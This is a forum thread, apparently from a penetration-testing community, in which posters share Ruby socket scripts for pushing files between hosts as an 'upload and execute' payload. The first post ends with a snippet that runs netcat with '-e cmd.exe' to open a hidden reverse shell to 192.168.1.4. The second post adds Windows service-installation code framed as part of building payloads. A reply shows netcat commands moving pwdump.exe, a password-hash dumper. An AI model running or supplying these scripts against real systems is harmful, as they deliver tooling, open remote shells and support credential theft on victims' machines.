Results 1 to 3 of 3

Thread: Ruby... reverse tcp file upload and download examples

  1. #1
    Senior Member BigMac's Avatar
    Join Date
    Jan 2008
    Posts
    213

    Default Ruby... reverse tcp file upload and download examples

    im going to show you a few examples on how to send files back and forth threw sockets with ruby... i have 4 scripts i would like to post, 2 server and 2 client scripts(templates)... the first examples could be a basic revers tcp upload and execute...

    first example... always run the server first...
    server.rb <==server sends client file==> client.rb

    Code:
    #server sends client file over socket
    require 'socket'
    server = TCPServer.open(2000)
    
    loop {
      Thread.start(server.accept) do |client|
        #client.puts(Time.now.ctime)
    	file = open('/pentest/windows-binaries/tools/nc.exe', "rb")
    	fileContent = file.read
    	client.puts(fileContent)
    	client.close
    end
    
    }
    now run the client
    Code:
    #client receive file from server
    require 'socket'
    
    host = '192.168.1.4'
    port = 2000
    sock = TCPSocket.open(host, port)
    
    	data = sock.read
    	destFile = File.open('/tmp/netcat.exe', 'wb')
    	destFile.print data
    	destFile.close

    second example...
    server.rb <==client sends file to server==> client.rb
    Code:
    #server receive a file from client
    require 'socket'
    server = TCPServer.open(2000)
    
    loop {
      Thread.start(server.accept) do |client|
        #client.puts(Time.now.ctime)
    	data = client.read
    	destFile = File.open('/tmp/netcat.exe', 'wb')
    	destFile.print data
    	destFile.close
    end
    
    }
    Code:
    #client sends file to server
    require 'socket'
    
    host = '192.168.1.4'
    port = 2000
    sock = TCPSocket.open(host, port)
    
    	file = open('/pentest/windows-binaries/tools/nc.exe', "rb")
    	fileContent = file.read
    	sock.puts(fileContent)
    	sock.close
    Here would be a simple execute function you could add to the client...
    Code:
    puts"executing nc"
    z = Thread.new { system "C:/netcat.exe 192.168.1.4 100 -e cmd.exe -d" }
    z.run
    puts"end of script"

  2. #2
    Senior Member BigMac's Avatar
    Join Date
    Jan 2008
    Posts
    213

    Default

    I am working on coding my own payloads in ruby, i found some ruby example source for adding your programs as a service...

    [fact]"you must add extra code that lets the service program communicate with the Windows Service Manager, so that the service can be started, stopped, and can communicate its status and dependencies to the manager."

    ruby solution
    just thought i would share...

    Code:
       require "win32/service"
       include Win32
    
       s = Service.new("some_machine")
    
       # Create a new service
       s.create_service{ |s|
          s.service_name     = "foo"
          s.binary_path_name = "C:\\some_dir\\foo.exe"
          s.display_name     = "My Foo Service"
       }
    
       # Configure a service that already exists
       s.configure_service{ |s|
          s.display_name = "My Bar Service"
       }
    
       s.close
    
       Service.start("foo")
       Service.pause("foo")
       Service.resume("foo")
       Service.stop("foo")
    
       Service.delete("foo")
    
       Service.getdisplayname("Schedule") # "Task Scheduler"
       Service.getservicename("ClipBook") # "ClipSrv"
    
       s = Service.status("ClipSrv")
    
       # Enumerate over all services, inspecting each struct
       Service.services{ |s|
          p s
          puts
       }

  3. #3
    Very good friend of the forum Gitsnik's Avatar
    Join Date
    Jan 2010
    Location
    The Crystal Wind
    Posts
    851

    Default

    Request (more for your sake than mine), make the file transfer asynchronus - upload a program while downloading a file (or anything like that). Because I tend to not sound very useful, the following in netcat:
    Code:
    Server:
    nc -l -p 8080 < pwdump.exe > auditor.txt
    Client:
    nc server 8080 < auditor.txt > pwdump.exe
    Still not underestimating the power...

    There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •